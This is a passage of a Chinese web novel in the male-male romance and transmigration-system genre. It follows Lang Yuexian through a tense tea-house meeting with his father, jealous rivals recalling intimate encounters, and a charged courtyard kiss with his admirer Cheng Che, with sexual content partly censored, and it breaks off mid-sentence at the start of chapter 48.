就在他盘算要不要干脆一点直接滑跪认错时,朗父却率先结了这尴尬的场面。他神色未变,转着茶盏笑了笑,语气平静得像在讨论天气:“是啊,老大确实不错,只可惜,最近生了些急病,精神头不太好,只能在家休养了。” “呃……是这样啊……” 朗父慢慢点了点头:“嗯,年轻人的一些心理疾病,问题不大,给他找了医生先吃吃药。” 陆存远急着想将功补过,急忙讨好的接话:“说起心理……心理医生,我倒是认识几位……” 话音未落,朗月现突然开口打断了他,他蹙着眉看向父亲:“你给他找医生了?” 朗父瞥了眼小儿子,悠悠抿了口茶,“嗯”了一声:“怎么?” 朗月现脸色冷了下来,在座的人都能看出他突然明显变差的情绪。 “他没病。”朗月现搁下了茶盏,眉头微皱,声音没什么温度:“别给他找什么医生乱吃药。” 第四十六章 他想,他看出来了 被小儿子当着外人的面冷言顶撞, 房间里的空气几乎凝固,檀木座钟发出令人心慌的滴答声,剩下的几人只觉得那声音在骤然安静的房间格外刺耳, 都有些坐立难安。 陆存远把茶杯攥得死紧,指节都泛了白, 恨不得把自己缩进檀木椅背的雕花缝隙里,唐老板也是捏着翡翠扳指转来转去。朗父却仍是那副八风不动的模样,老神在在的淡定端着茶盏慢悠悠品茶,仿佛没听出来朗月现话中的不悦:“不找医生?生了病不治,像话吗?” 朗月现一言不发,沉默的握紧了手中的茶盏, 指腹重重碾过杯沿浮着的莲花纹,嘴角抿起一道冷硬的直线。 朗月现的眼眸漆黑, 冷眼看人时带着一股迫人的压力。他看着父亲,语气很克制,但话下那种隐隐的不满之意呼之欲出:“就算做错了事,也别折辱他, 这能叫病吗?” 感觉空气都因为二少的态度凝出一层冰渣子,陆存远更是深深垂着脑袋,头低的像个鹌鹑,余光瞧见旁边程澈放在膝盖上的手攥紧又松开,恨不得他们俩都不存在于这个空间中。 这种家事也是他们这些外人能听的吗?!二少爷怎么完全不避着人! 朗父听了小儿子的语气,这才转过脸,意味深长的打量着朗月现的脸色,目光扫过小儿子绷紧的下颌线。撂下茶盏时“咔哒”一声,惊得程澈睫毛一颤。半响后转过头笑了笑,慢悠悠道:“行, 知道了,先停几天看看情况。” 程澈眼睛眨也不眨的盯着朗月现露出的那截白皙脖颈上突起的青筋,虽然不知道朗家出了什么事,但话里话外都能听出朗月现对他那位大哥的回护。 程澈垂下了头,轻轻吸了吸鼻子,遮住了眼中满含的失落和不甘。 朗月现轻叹了口气,刚一扭头,一块核桃酥直接递到了自己嘴边,他下意识张口咬住后,才抬眼看向对面。 程澈声音平静温柔,脸色却莫名有些苍白,举着核桃酥的手指有些发抖。唇角是笑着的,眼睛里却含着些寂寥,小心翼翼的轻声说道:“……甜吧,很好吃的。” 朗月现点了点头,就着他的手咬下了半块核桃酥,温热的呼吸扫过虎口,激得程澈后颈发麻。程澈把手收回来后,自然而然的将剩下的半块放进了自己嘴里。 在学校的时候,但凡朗月现有任何吃不完,不爱吃的,都是程澈帮他解决的。二人甚至完全没觉得这在外人看起来颇有些暧昧的行为有任何不妥。 唐老板坐在主位,挑着眉,瞧着程澈将剩下半块酥饼含进嘴里,年轻人耳尖都透着红。他的手指微微动了动,腕间的舍利珠串撞出闷响,似笑非笑地看着二人之间的互动。 半响后他理了理袖口,撑着膝盖准备起身:“我去换壶新茶,正好尝尝你爸带的那个茶饼。” 朗月现直接站起来,轻轻按住了唐老板的肩膀:“我来,老茶饼需要提前煮一下,我去准备。” 唐老师笑得眯起眼睛,点头称好,朗月现便拿起大衣起身走了出去。推开雕花门时,寒风卷动着吹动大衣下摆翻飞的暗纹,程澈深深地望着那道消失在门后的背影,核桃酥的甜味在喉间滚动着泛起酸涩,悄悄地攥紧了拳头。 * 茶馆是之前的老四合院改建的,青砖灰瓦间还留着旧时的雕花门廊,穿过茶香袅袅的前厅绕到后院,豁然开朗的庭院里铺着青石板。朗月现走出房间时,檐角还有未化的冰凌正在往下滴水,他并没有立刻去茶室,而是停在了院子深处。 程澈踩着院内的青砖追出来,转过后门外的回廊,差点被脚下的枯藤绊住。冬日暖阳争相透过四合院交错的房梁,在庭院里切出明暗相间的光栅。 朗月现就站在那片最亮的光斑里,大簇大簇的正开得放肆白色绣球花坠下来,倒衬得他欣长挺拔的身影清秀的像株覆着新雪的青竹。 他单手插在黑色大衣口袋里,另一只手随意拂过层层叠叠的花球,雪白花瓣便簌簌落在他黑色的衣领上。他漫不经心的眯着眼眸,阳光从枝桠间漏下来,打在他垂下的长睫上,连嘴角呼出的白雾都透着股慵懒劲儿。 在疏朗的光线下,隐匿在白绣球花丛中的侧颜俊美矜贵地像是沐浴着阳光的神明。 惊为天人。程澈不知道是被阳光还是被眼前这人晃得眯起眼睛,在这充满冬日里温暖阳光,明亮的让人挪不开目光的一幕中,却只想把这道身影揉碎了藏在眼底。 藏起来,这个念头像是满园花枝上的倒刺瞬间刺进他的血肉里。 好想藏起来,谁也不要看见。 那些窥探的视线,那些像蛛丝一样粘在他身上贪婪的目光,那些碍眼的东西,他恨不得全挡在自己身后。 这样矜贵的人,那些垃圾怎么配觊觎他。他拼命的工作,想要向上攀爬,甚至企图跨越阶级鸿沟,只盼着能有资格去替朗月现挡掉那些他不喜欢的目光。 大约是听到了脚步声,朗月现微微偏头,被阳光照的近乎透明的耳廓泛着浅红。那人被花团衬得多出几分温柔美好的眉眼转了过来,眼神中并没有一点意外,反倒是站在这就是在等待着他的出现一样。 朗月现似乎轻笑了一声,呼出的白雾模糊了嘴角的弧度:“怎么不穿个外套,冷吗?” 程澈完全被迷住了,他险些被自己剧烈的心跳震得耳鸣,哪里还知道冷不冷。看见朗月现冲着自己笑,浑身血液都跟着烧起来。 程澈着了魔般不由自主地向他走去,目光不曾从朗月现身上移开片刻。就这么望着他,能远远地注视他的身影,程澈只觉得四肢百骸都漫开酸胀的甜。 朗月现站在原地任由他靠近,看着他轻轻握住自己的手,把一串各色的宝石珠子戴在了自己的手上。 两人腕骨蹭在一起,带起细微的痒,阳光突然晃进来,那些各色的石头在两人交叠的手掌间闪成一片星河。 朗月现饶有兴致的将手腕举起来,放在阳光下去看那串颜色各异的宝石手串。晶莹剔透的闪着明亮的光,彩色光斑在他鼻梁上晃动着:“这是从哪弄的?” 七彩宝石在阳光下折射出的斑斓光晕,却完全比不上那人抬眼时眸中流转的光芒。程澈无意识蜷缩起手指,他听见自己声音发哑:“托陆哥帮我找的原石,我自己打磨的,喜欢吗?” 他打磨宝石时,把那些棱角分明的矿石,私心一点点磨成能妥帖嵌进掌心的形状,就好像即将要收到这份礼物的那个人,也能被他这样深深藏进手心里。 朗月现轻笑一声,点了点头:“挺有意思的,很漂亮。” 朗月现看着宝石手串,而程澈看着朗月现的眼睛,宝石光芒在他眼尾勾了道旖旎的弧,此刻那些宝石水晶全然成了赝品,眼前那双晶亮的眼眸才是他心中唯一的真迹。 他突然觉得那些他不分昼夜打磨了近半个月,号称净度最高的破石头根本不配碰这双手。 就像在朗家人面前,自己也不过是个妄图跨越阶级,强装镇定的下等冒牌货。 朗月现放下手随意插进大衣口袋里,抬眸间,那双世间自己唯一渴求的宝石珠子便同他的眼睛对上了。 程澈看着花影在他侧脸摇曳,一时有些恍惚。朗月现似乎张开口想问些什么,却莫名顿了几秒,又旁若无人的转开眼神,问道:“怎么想起来送我东西了?” 程澈人还没反应过来,心脏就已经开始加速跳动了。 他想,他看出来了。 程澈往前半步挡住穿堂风,终于听见自己心脏在胸膛炸成千万片水晶碎屑,每一片都映着他心底贪婪的渴望。 他喉结急促地上下滚动,平复了一下心跳,轻轻摇了摇头,说道:“没什么特别的,之前你生日,送不了太贵重的东西,现在想补个像样的。” 朗月现便又将目光转过来看向他:“礼物不在于价值,之前你送我的黑胶唱片,我很喜欢。” 程澈送他的生日礼物是朗月现喜欢的一个80年代末期,英国新潮乐队的早期黑胶。程澈不知道从哪得知朗月现喜欢,竟然给他找来了。 这款复古黑胶市面上很难找到,乐队也很小众,就算找到了可能也需要人肉修复音轨,可以想象程澈是费了多大功夫才为他找来的这款老牌唱片。 就像他之前救了程澈的那晚,劝解过他的那句话,程澈心思太重了。他以为董其铭的事情过去之后会缓解,没想到现在看起来心思似乎更重了。 朗月现垂下头无奈的笑了笑。 他也不准备在这个问题上多加纠缠,目光扫过腕上的宝石串忽然打趣道:“那看样子,陆总给的待遇还算不错,宝石都能随便买来送人了?” 朗月现其实就是随便开个玩笑,他看得出那些宝石的价值,不是一个普通的实习生能负担得起的。即使他现在是陆存远眼前的红人,但在利益至上的商人面前,这串价值不菲的宝石手串也一定让他付出了对等的代价。 程澈却没有回答朗月现的调侃,他又露出了刚刚在房间内和朗月现第一次对视时的失落眼神,突然转了话头:“你生日过后第二天,周闻铮回宿舍了。” 他声音低下来,仿佛隐忍着极大的伤心和愤怒,眼圈泛着红,喉头滚动半天,出口却是哑的不成样子:“他跟我说了,那天晚上的事。” 何止是说了,生日宴会第二天,周闻铮不顾医生连声劝说要再观察两天,看看体内还有没有残留药物的劝阻,执意要出院。 出院后第一件事也并没有找给他下药的陈臻也算账,而是将陈臻也的事全权交给手底下的人,他本人则直接回了学校宿舍。 应昭有乐队排练,宿舍里只有呆呆的坐在床上,盯着朗月现送他的定制西装发呆的程澈。 程澈生日宴当晚等到十二点烟花散尽都没能再看见朗月现。他心跳得很急,总有些隐隐的不安,给朗月现打电话也联系不上他,只能一个人失魂落魄的回到了宿舍,推门的那瞬间他甚至保有一丝可悲的期望,结果不出所料的落空了。 手机安静地像块死铁,他一边期待着朗月现在看到自己发的信息后能给他回信,一边神思不属的看着朗月现特地为他定制的那套他这辈子都没见识过的昂贵衣服,最后蜷在衣服旁枯坐了一整夜。 没有等来朗月现的信息,却等来了公孔雀开屏一样的周闻铮。 宿舍门被“哐”地踹开,周闻铮左手还挂着滞留针,反手甩上门,环顾了一圈宿舍,非常满意的点了点头。 要是还有闲杂人等还要他多费口舌给人请出去,他要找的就是这个偷着觊觎他老婆,动不动就会装可怜,惹得他老婆频频心软的的死装绿茶。 程澈理所当然的知道了前一天晚上朗月现和周闻铮之间发生了什么,周闻铮那仿佛将军打了胜仗的得意嘴脸在他目眦欲裂的眼睛中挥之不去。 “好看吗?”周闻铮扯开领口,唯恐程澈看不清他脖颈还有锁骨往下蔓延的暧昧红痕,勾着唇笑的格外餍足,“昨晚月月非要给我盖个章……” 程澈简直不敢相信自己听到了什么,在那一刻浑身发抖,那套被他精心熨烫过的西装还整齐妥帖的放在他眼前。 周闻铮随手扯过椅子坐在程澈面前,从口袋里扯出一条深蓝色的丝带,正是朗月现生日宴系在腰上的那根。 “认得出这是什么吗?”周闻铮握着那条丝带在程澈眼前晃了晃,就像不舍得多让人看一眼一样又收回了怀里:“陈臻也那傻逼给我下了那种下三滥的药,猜猜看,昨天月月是怎么帮我解毒的?” 他突然俯身靠近,尾音带着黏糊糊的得意,“他现在脖颈上,还留着我咬的痕迹。” 周闻铮恨不得全天下人都知道这件事,要不是怕事情传出去了朗月现会跟他翻脸,他今天早上就该开个新闻发布会。 眼下只能先让那些最碍眼的,不知天高地厚胆敢当自己情敌的家伙懂点眼色,赶紧给他有多远滚多远。 这头刚打完胜仗的狼犬恨不得把战利品挂满全身,就是要用他的气味沾染朗月现,在他的身体上留下属于他的印迹。要让全天下人都知道,看见没?这人从头发丝到脚后跟都是我的。 * 朗月现听到程澈这句话后闭眼深吸一口气,烦的当时阖上了眼睛。 作为事情的另一位主角,他太清楚周闻铮的黏人程度。他刚租好房子的第二天,深夜办公完回到家,就看见门口坐着一只张口就要他负责的大型犬。 “让开。”朗月现懒得理会他,用鞋尖踢了踢对方的小腿,密码锁“滴”的一声刚解开,身后就传来窸窸窣窣的动静,周闻铮蹭着门框挤了进来。 周闻铮就像给他的肉骨头打上了标记,走到哪跟到哪,好几次差点拌了朗月现的脚。 朗月现烦不胜烦,突然伸手揪住他卫衣抽绳,反手几下给狗驯服了。膝盖顶着他胸口把人压进沙发,领带扯下来三两下缠住他的手腕,朗月现下手完全没留情,勒出红印子时周闻铮反而愉悦的笑出了声。 这个俯视角度让周闻铮想起那晚,朗月现扯开领带带开的领口正是他留过印子的位置。 “再犯浑就滚出去。”朗月现话音未落就察觉到不对,大腿外侧被什么异样的火热硬物抵着,他低头就看见周闻铮牛仔裤撑起明显的形状。 于是威胁就从“滚出去”变成了把他那个看到朗月现就管不住的玩意儿直接剁掉喂狗。 周闻铮为了他和老婆未来的幸福生活足足乖乖安分了能有一个小时,直到朗月现擦着头发从浴室出来的时候,那黏糊糊的视线又追着水珠往他锁骨下钻,烦的朗月现想给他眼珠子也蒙上。 收拾完朗月现觉得有些饿了,拿起手机想让人送点东西来吃,屏幕上“哥”的来电显示突兀的在此时弹了出来。 朗月现冷冷的看着,本想直接挂断的,手指却悬在红色按键上半响没按下去。他烦躁的揉了揉头发,最终把手机往茶几上一扔,由着他震动,也打消了让人给他送饭的想法,转身走向厨房准备随便弄个三明治对付一下。 周闻铮看着朗月现离开的背影,又低头看了看茶几上闪烁的通话请求,几乎没多思考两秒,把绑在一起的手腕伸过去直接点了接通。 刚接通的十几秒没有人说话,周闻铮也没主动出声,但他能听见对面压抑还带着些颤抖的明显喘息。 “……为什么不回家住?” 朗秉白始终听不到弟弟的回应,终于忍不住出声,声音甚至还带着些微小的哽咽。 “你厌恶哥哥到这种地步吗?……小月,哥求你,哪怕让我看看你,就远远看一眼……” “凭什么?” 周闻铮嘲弄的语气毫不留情的打断了那边所有的声音,瞬间连呼吸都听不见了。 “你凭什么看他?朗家养了这么多年,就养出了一个觊觎他们儿子的白眼狼,你还好意思看他?”周闻铮从鼻腔中发出一声冷哼,嗤笑说道:“我早就说过了,朗家的狗链子,拴不住会咬人的狗。” 周闻铮事先并不知情朗秉白到底出了什么事会被朗父突然夺权软禁,他隐隐猜测可能和朗月现有关,这一通电话打过来,他还有什么不明白的? 朗家养了二十多年的狗装不下去了,这条伪善的看门犬终于撕破脸皮,露出了他心底阴暗不耻,贪恋弟弟的那一面,才惹得朗父震怒,朗月现离家。 现在竟然还敢盼着看他?做他的白日梦去吧。 朗秉白听到一声不屑的嘲笑声。 朗秉白的声音再次响起时,通过电流声传来的冷冽怒意不禁让周闻铮都多看了屏幕几眼。 他毫不怀疑,如果现在是面对面,朗秉白的拳头一定毫不留情冲自己狠狠的挥过来了,“……你为什么在小月那里。” “还能为什么?”周闻铮丝毫不怵,甚至听到朗秉白毫不掩饰的怒气,整个人更加愉悦起来,“你那晚,不是亲眼看见月月和我做了什么吗?” “他腰上的指印,你没看清楚吗?” 他语气中的笑意深深激怒了朗秉白,周闻铮如愿听到了对面骤然加重的愤怒喘息:“哦对了,现在后颈还有我新咬的……” “周闻铮!”朗秉白的声音嘶哑得可怕:“你他妈怎么敢——” 没想到这辈子有一天竟然能从朗秉白这种顶级伪君子口中听到如此气急败坏的脏话,周闻铮简直做梦都能笑醒。还没等朗秉白说完,他直接咧嘴笑道:“我老婆过来找我了,先挂了,大舅哥。”便草草挂了电话。 朗月现端着三明治从厨房出来,看到的就是周闻铮异常愉悦的仰躺在沙发上,翘着二郎腿,满脸的笑意遮都遮不住。 看到朗月现过来,眼睛亮晶晶的立刻从沙发上起身,身后无形的尾巴摇来晃去。热切的凑到主人身边,看着朗月现端的盘子,皱了皱鼻子:“你怎么就吃这个?太简陋了,我打电话让人送点来。” 说完便用被绑住的两只手握住了朗月现的手腕,凑到嘴边轻轻咬了一口,含糊不清的嘟囔:“看着一点也不好吃……但我老婆做的毒药我也吞。” 第四十七章 可不可以……再亲一会儿 朗月现被程澈的话勾出满肚子火气, 周闻铮那家伙从几个月前强行挤进玄关开始,就像块嚼过的口香糖黏在了他家里。 他费了那么多劲都没把周闻铮这块赖皮糖从他家赶出去,直到现在还住在他家里。一旦态度强硬起来, 周闻铮就一副他怎么能用完就甩手不要他,被始乱终弃的卑微怨夫模样。 周闻铮刚洗完澡, 浑身还湿漉漉的就被朗月现赶到了门口。有水滴沿着他高挺的鼻梁往下滴,黑色紧身背心湿了大半,紧紧贴在他身上,勾勒出其下鼓胀的胸肌轮廓。 周闻铮低声说:“你不要那一晚上过去就不理我了,怎么着我都是头一回,你可怜可怜我。” 朗月现听了直接气笑了。他冷笑时眼角微微上挑, 这个表情让周闻铮就像被一只漂亮极了的小猫一爪子挠在了他心头上:“怎么,用了你的嘴一次, 你还准备赖上我了,那你想怎么样?” “那晚是你自己凑上来的,我可没……” 话音未落,周闻铮动作快到朗月现完全始料未及, 他扑通一声跪在地毯上。男人高大健硕,每一处肌肉都十分结实,浑身散发着浓烈的侵略感。 此刻却虔诚的低伏在他身前,发梢的水顺着他的肩膀缓缓流向紧致结实的腹肌纹路,那张线条分明的帅脸隔着衣服去蹭。 这人仰头时喉结滚动的像急迫吞咽猎物的蛇,他探出舌尖故意扫过下唇:“这次还是我自己凑上来的,不过我又学了些新东西,月月,试试吧……” 确实……朗月现想到这轻咳了一声,耳尖有些发烫, 在没有酒精作用的加持下,清醒状态下某些感官更明显了。 他还记得之后有一天的雨夜,这人也是这样恬不知耻的跪在厨房,将自己抵在大理石台面前,说要给他表演新学的“冰火两重天”。 “滚开。”他抬脚要踹,却在看到周闻铮这段时间频繁跪到泛青的膝盖时收了力道,突然有种自己真是个吃干抹净还不负责的渣男的感觉。 那一脚没踹下去的后果就是害得他第二天开会差点迟到,后腰还留着被冰镇过的红酒瓶硌出的淤青。 而且周闻铮这家伙不知道什么时候学了一手好厨艺,朗月现每天晚上陪着朗父工作完回到家,都能看见那个肩宽腿长,性张力十足的高大身影在厨房忙碌。 此人长了张能去时装周走秀,帅的有些显凶的锋利相貌,偏要赤着上身,劲瘦的腰间套着草莓图案的粉色围裙,拿着锅铲在铁锅边发出各种热闹的声响。 “你回来啦。”男人听到门响探出半个身子,露出上半身健硕漂亮的肌肉,和他这个人一点也不匹配的围裙带子在腰后系成蝴蝶结,这个款式还是他自己去超市挑的,“今天做了你爱吃的糖醋小排,我尝了三次味,保证这次绝对不咸了。” 朗月现扯松领带的手顿了顿,起初他还会冷着脸说“想当保姆滚出去当”,现在已经能熟练且平静的问出:“还有什么菜?” ……就当养了个会做饭的大型犬,朗月现盯着周闻铮熟练的颠勺时绷紧的背肌线条,这么安慰自己,也不总想着怎么把人赶出去了。 程澈看到别的狗吃到肉,嫉妒的眼睛都烧红了,面容都扭曲起来,内心还想着怎么能把周闻铮那家伙弄死,面上却还是惯用的那副温顺的可怜模样。 他看着朗月现没有回应他的话,只静静地看着地面发呆,失落地上前一步低声喃喃道:“阿月,我……我和以前不一样了,我赚到钱,以后会慢慢往上爬,总有一天,我会……” “嗯?”朗月现困惑地抬起眼皮,是他听错了吗,这话题怎么又绕回迈切斯特了? 程澈喉咙发苦,明明和朗月现有这么多私人时间,他却怎么也不敢像这些人那样大胆表达自己的心意。周闻铮那家伙连发梢都透着餍足的模样更是让他后槽牙都发痒。 他嫉妒,嫉妒的要死,但是他知道自己不配。 他现在做出成绩了,迈切斯特就是他的第一步。他本来没有什么远大的志向,在遇到朗月现之前,以后当一名风投顾问或者数学老师就是他最期望的归宿了。 他现在拼了命做的这一切都是为了能更配得上站在朗月现的身边。 程澈知道方才对视时来不及藏起的痴迷已经暴露心意。他不奢求更多,哪怕只是分得那人余光中的一星半点,哪怕……哪怕只是一点点亲近,他就足以凭借这一点甜头在无数个夜晚反复回味。 程澈突然伸手拽住了朗月现的衣角,声音带着几分颤抖的哀求,垂下的眼睛里似乎涌上些红血丝:“我……我会努力往上爬,我不会再那么没用,只能等着你来救我。” “所以,阿月能不能也看看我。” 那嫉妒像是蚂蚁在啃噬他的骨头,从心脏一路爬到喉咙,疼得他口不择言:“不要只看着别人,能不能也……也给我点奖励。” 朗月现闻言,挑起眉,似乎有点惊讶程澈这一番剖白。 说出口的瞬间程澈就后悔了,他几乎不敢看朗月现的表情。自己被嫉妒冲昏了头,不管不顾的对着他胡言乱语,未免也太贪得无厌。 明明得到朗* 月现偶尔的亲近就该知足,当个解闷的玩具,做条听话的狗,这些原本就是他求之不得的幸运。 只要对方是朗月现,哪怕践踏尊严他也甘之如饴,不感恩戴德,怎么还敢奢望更多? “对不起……”程澈恨不得咬掉舌头,实在不该把精力分到争风吃醋上,乖乖做一条被狠狠踹上一脚也该摇着尾巴感激的狗才对,怎么敢厚颜无耻地去向主人奢求奖励? “奖励?”带着一丝轻笑的气息拂过耳畔,“你想要什么奖励?” 程澈猛地抬头,朗月现的眼角还带着戏谑,像是对待路边蹭过来的可怜巴巴的小狗,脸上没有厌恶烦躁,只是好奇还带着点无所谓的纵容。 程澈本来是因为嫉妒赌气,口不择言才说的这番话,没想到朗月现真的同意了。 这完全超出了他的预料,程澈反而有些不知所措起来,幸福来的太快把他完全打蒙了。 朗月现饶有兴致的打量他,这个在外人看来脾气好的离谱的家伙,不怎么爱说话,被欺负了也只会闷不吭声,唯独在关于自己的事上会激起他格外明显的别样情绪。 最近没怎么见到他,入职迈切斯特之后整个人看上去似乎自信了很多,只是在自己面前还是那副只会摇着尾巴,等着主人摸头的可怜小狗模样。 方才那抹晦暗神色应该只是自己的错觉,毕竟这家伙此刻还在顶着那副小心翼翼的乖顺表情向自己要奖励,朗月现有些想笑,便好奇的想看他想要什么东西。 见程澈俊朗十足的面容乖顺懵懂,失了智一般盯着他看,朗月现的嘴角微微弯起,浅浅一笑简直让人目眩神迷。 程澈被这笑容迷得七荤八素,天旋地转,脑袋晕晕乎乎,一时间连东南西北都分不清了。 程澈呆呆的看着朗月现晶亮含笑的眸子,穿着薄西装的后背在这冬日里却已经泌出汗来。他忽然想起周闻铮向自己炫耀着朗月现情动时的模样,自己用尽全力挥出的那拳打在了周闻铮傲人的鼻梁上,他自己则是被一个膝击狠狠顶飞了出去。 庭院里忽然起了风,绣球花枝哗啦啦作响,他盯着对方被阳光吻过的唇瓣,突然很想被对方用牙齿碾碎自己大逆不道,妄图觊觎主人的唇舌。 他抖着手,红了眼,轻轻扶在了朗月现的侧脸。 指尖触到微凉肌肤的刹那,程澈觉得自己像落在他身上的雪水在寸寸融化。 “……我想吻你。” —— 朗月现被那道滚烫的眼神烫的心头一颤。 正午的风卷着庭院内白色花瓣扫过廊下,擦着两人衣角掠过去,程澈如擂鼓般的心跳清晰可闻,连带着呼吸都发烫。 明明是裹着蜜糖似的暧昧话语,偏偏说这话的人还一副青涩的无辜模样。朗月现看着那双清亮的眼眸中蓄着满满无法掩饰的深沉爱意,清透中燃着暗火。 朗月现莫名心头微动,罕见的荡开一圈圈久不消散的涟漪。他面上丝毫不显,只是懒懒地勾起嘴角。 “你胆子很大。” 程澈顿时呼吸完全乱了。 朗月现后撤一步,倚靠着雕花木栏,日光顺着他仰起的那一截白皙修长的脖颈滑进松开的领口,青色血管浮现其上。他眯起眼睛上下扫过程澈,似乎在估量一件货品的成色。 程澈僵着身子,大气也不敢喘的由着他看。这种带着审视的打量他太熟悉了,与之前朗秉白、周闻铮等人做的没什么区别。 但因为看他的是朗月现,程澈竟兴奋地膝盖发软,恨不得把自己包装的更精美些。 程澈也把自己当做货架上可供人挑选的商品,他近乎虔诚地挺直脊梁,任由那道视线在身上游走,满心只想着,希望能让他满意。 心脏擂鼓一样捶打着自己的胸膛,程澈面色涨的通红,他隐忍着,手指紧紧攥住,指甲在掌心掐出一道道痕迹。 朗月现慢悠悠在脑海中对着面对此情此景一声也不吭的系统说:“这些金尊玉贵的主角,面对着反派,跪的倒是一个比一个痛快。” 系统冒出来时游戏声效叮当作响,它用毫不惊讶,无所谓的语气回道:“正常,我已经见怪不怪了。世界意志是个没有脑子只会机械走剧情程序的蠢货,它察觉不了主角的变化,大不了最后都崩盘,世界重开。” 朗月现唇角弧度渐深:“那就崩得再热闹些。” 他睨着程澈红透的耳尖,对方惶恐又期待的神情似乎取悦了他,他带着一点想彻底摧毁些什么的残忍快感,朝程澈勾起嘴角,露出一个恶劣的笑。 “让我看看,你能做到什么地步。” * 程澈激动的踉跄着往前跌了一步。 朗月现带着清冽茶香的气息随着轻笑扑在程澈的肌肤上。 程澈这次仿佛真的闻到了传说中千金一两的太平猴魁催出的那股兰蕊初绽的甜香。 朗月现作为天生强势性格的主导者,此刻程澈这种绝对服从,任人摆布的姿态实在是合他心意。 男人结实的胸膛剧烈起伏着,清爽的皂香混着情动的荷尔蒙,带着一股让人迷乱的味道缓缓靠近。笨拙生涩的像只怯生生蹭着他裤腿讨食的小狗,让他亲他就只敢轻轻碰,双手僵直着乖乖垂在身侧,绷的铁直也不敢碰到朗月现一下。 程澈身体微微前倾,盯着近在咫尺的唇瓣小口吞咽,唇瓣相贴时像含了片新雪。他试探着凑近,一开始只敢嘴唇张贴的缓缓轻蹭,抬头小心翼翼观察朗月现的表情,发现并没有厌恶的神色才敢慢慢含住,小心仔细地用舌尖一点点吮湿他的唇缝。 从朗月现的视角看,仿佛一只抖着耳朵的狗在索吻,明明馋的尾巴乱颤,爪子却规规矩矩缩着老实。朗月现被取悦到了,难得起了兴致,大发慈悲的松了牙关,纵着对方的舌头缠上来。 “唔……”喉间溢出满足的呜咽激得程澈浑身发麻,整个人兴奋到头昏脑涨,脑子早就烧糊涂了,身体却还是老老实实克制着,发抖的手掌虚虚悬在他腰侧,连朗月现的衣摆都不敢碰皱半分。 这纵容如同催/情药一般,程澈鼻翼不自觉阖张,贪恋着眼前人身上的味道。他大着胆子,全神贯注去侍弄那截软舌,急迫的求着它能缠绕着回应,让自己能多含一会儿。 吻到忘情时他太投入失去了平衡,膝盖撞上对方大腿才惊觉越界,倒像是急不可耐地投怀送抱一般,慌乱中整个人踉跄地跌进朗月现怀中。 朗月现揪住他的头发,让他抬起头来,居高临下看着那双被爱意和欲念涨得满溢的双眼。 突然头皮一紧,朗月现猛地收紧抓着他头发的手,狠狠吻了下去。 由朗月现主导的吻再没了小心翼翼,被勾出火气后滚烫的吻重重压下来,他狠狠搂住对方的腰,强势的吻回去,犬齿重重碾过下唇,舌尖横冲直撞,勾着对方的舌头纠缠吮吸,放肆的去释放内心骤然涌起的冲动。 程澈呼吸滚烫,意乱情迷,抖得像过电的鱼。一心只知道努力迎合着朗月现,由着他的手卷起自己的衣服下摆,露出一截精瘦结实的蜂腰,汗津津的腰身在午后的阳光中下泛着层水光,当那双微凉手在自己身上乱走点火的时候程澈甚至还在想这是不是在做梦。 直到感受到紧……的身体处,某个……触感隔着布/料……上来再也忽视不掉,朗月现才微微分开嘴唇。 看到被吻到泪眼朦胧,连呼吸都忘记的程澈,挂着将掉未掉的泪珠,懵懂的看向他,似乎在问,为什么不继续了。 这种彻底掌控一个人的滋味很不错,朗月现觉得很爽,很满意。 朗月现屈起膝盖不轻不重地撞了下对方紧/绷的……,戏谑的调笑说他那……太碍事了。 程澈二话不说将……狠狠往/下一……,用的力度连朗月现看了都眼皮一跳。(审核你疯了吗?不就亲了个嘴吗?) 程澈面色通红,将东西用力压下,确保不会再碰到朗月现了之后,可怜兮兮地用还蒙着层水雾的眼睛又凑了过来,带着哭腔的气音混着喘/息,贴在朗月现耳边祈求着小声问:“可不可以……再亲一会儿……” —— 赶走了程澈后,朗月现独自坐在庭院内的石桌旁,手指闲闲捻着片残破花瓣在桌面上画圈,突然慢条斯理地对着空气轻笑开口:“好看吗?” 东侧木栏后的花丛突然簌簌抖动,像是有小动物从中经过,动作很轻巧,花枝晃动间却看见一个高大的影子从花丛背后映了出来。 唐老板裤脚沾着几片绣球花瓣,捻着手中的舍利珠串,模样依旧斯文坦然,镜片后的眼眸中还勾着气定神闲的笑:“今年这绣球倒是开得精神。” 朗月现屈指弹飞花瓣,抬眼看向男人,手肘撑在冰凉的青石桌面上托腮,懒洋洋地偏头:“坐。” 石凳上铺着的苏绣软垫被风掀起一角,露出底下斑驳的刻痕。 那是朗月现小的时候被父亲训斥后,拿园里的凿子在上面刻的英文脏话。当时唐老板就蹲在旁边看他刻完,笑的烟灰都抖落在裤腿上。说他们小宝从小就这么带劲,自己可是头号见证人。后来这套桌椅成了院里翻修时唯一保留的旧物,被唐老板当个宝贝似的护着。 唐老板也不推脱,施施然坐在了石桌另一边。 朗月现问道:“我爸还在屋里?” “嗯,聊着呢。” 朗月现摸出烟盒弹开,银质打火机窜出幽蓝火苗。 朗月现眉梢轻挑,烟灰随着动作簌簌落在旁边的花泥上,他轻喟一声:“唐叔什么时候添了这么个趴人墙角的毛病?” 唐老板将舍利珠串绕回手腕,拈起朵石桌上的白花,似笑非笑道:“什么时候开始的?”他拇指抚过花瓣的缺口,语气平静地像在问花期的长短。 “玩玩而已。” 朗月现吐出的烟圈撞碎在唐老板的眼中,他嘴唇上被深深舔咬的暧昧痕迹还没完全消退。 唐老板摘下金丝眼镜擦拭,垂眸时遮住了眼底神色,缓缓道:“我是说,喜欢男人,是什么时候开始的。” 朗月现愣了下,忽然笑出声:“谈不上。”他不慌不忙回话:“逗着好玩而已,分什么男女,图个乐儿。” 唐老板低笑着点评:“长得还算不错,可惜……”他忽然倾身向前,沉香混着清茶的香味扑面而来,“连套像样的西装都没有。” “还不如我那个便宜外甥。” 朗月现听了这话,只勾了勾唇,随手解开两粒衬衫扣子,眉目间还带着些刚刚尽情热吻过的餍足,“人家听话啊,乖得很。” “再说了,跟我比家底?”他嗤笑道:“唐叔这就说笑了。” “小宝,不是什么人都配在你身上留印记的。” 烟灰突然断了一截,朗月现“啧”了声,连敷衍都懒得多敷衍两句,指尖在桌上轻敲:“好了,到此为止。” “该回去了,唐叔。” 他起身,将烟头在花泥中按灭,丢到一旁的垃圾桶里,衣摆利落扫落桌上残花:“再晚些,我家老头子要着急了。” 第四十八章 朗秉白睁开眼,看见了他活生生的血与肉 几人走出茶馆, 司机小跑着绕到车边开门,朗父说要直接回集团,招呼朗月现先上车, 朗月现却站在原地没挪步。 “还有事要办。”朗月现看了眼腕表,大衣下摆被风吹得掀起, 